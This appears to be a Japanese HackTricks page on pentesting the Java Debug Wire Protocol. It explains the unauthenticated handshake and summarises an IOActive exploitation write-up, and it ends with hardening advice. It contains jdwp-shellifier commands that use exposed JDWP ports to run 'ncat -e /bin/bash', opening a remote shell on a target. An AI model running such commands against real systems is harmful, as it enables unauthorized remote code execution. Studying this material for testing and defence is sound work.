Pentesting JDWP - Java Debug Wire Protocol

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

Exploiting

JDWPの悪用は、認証と暗号化の欠如に依存しています。通常はポート8000で見つかりますが、他のポートも可能です。最初の接続は、ターゲットポートに「JDWP-Handshake」を送信することで行われます。JDWPサービスがアクティブである場合、同じ文字列で応答し、その存在を確認します。このハンドシェイクは、ネットワーク上のJDWPサービスを特定するための指紋認識方法として機能します。

プロセスの識別に関しては、Javaプロセスで「jdwk」という文字列を検索することで、アクティブなJDWPセッションを示すことができます。

おすすめのツールはjdwp-shellifierです。異なるパラメータを使用して次のように実行できます:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

私は、--break-on 'java.lang.String.indexOf'の使用がエクスプロイトをより安定させることがわかりました。また、ホストにバックドアをアップロードしてコマンドを実行する代わりに実行すると、エクスプロイトはさらに安定します。

詳細

これはhttps://ioactive.com/hacking-java-debug-wire-protocol-or-how/の要約です。詳細についてはそちらをご確認ください。

  1. JDWP概要:

  • パケットベースのネットワークバイナリプロトコルで、主に同期型です。

  • 認証や暗号化がないため、敵対的なネットワークにさらされると脆弱です。

  1. JDWPハンドシェイク:

  • 通信を開始するために簡単なハンドシェイクプロセスが使用されます。デバッガー(クライアント)とデバッギー(サーバー)の間で14文字のASCII文字列「JDWP-Handshake」が交換されます。

  1. JDWP通信:

  • メッセージは長さ、ID、フラグ、コマンドセットなどのフィールドを持つ単純な構造をしています。

  • コマンドセットの値は0x40から0x80までで、異なるアクションやイベントを表します。

  1. エクスプロイテーション:

  • JDWPは任意のクラスやバイトコードをロードして呼び出すことを許可するため、セキュリティリスクがあります。

  • 記事では、Javaランタイムの参照を取得し、ブレークポイントを設定し、メソッドを呼び出すという5つのステップのエクスプロイテーションプロセスが詳細に説明されています。

  1. 実際のエクスプロイテーション:

  • 潜在的なファイアウォール保護にもかかわらず、JDWPサービスはShodanHQやGitHubなどのプラットフォームで検索され、実世界のシナリオで発見され、エクスプロイトされます。

  • エクスプロイトスクリプトはさまざまなJDKバージョンでテストされ、プラットフォームに依存せず、信頼性の高いリモートコード実行(RCE)を提供します。

  1. セキュリティ上の考慮事項:

  • インターネット上にオープンなJDWPサービスが存在することは、定期的なセキュリティレビューの必要性、本番環境でのデバッグ機能の無効化、適切なファイアウォール構成を強調しています。

参考文献:

Last updated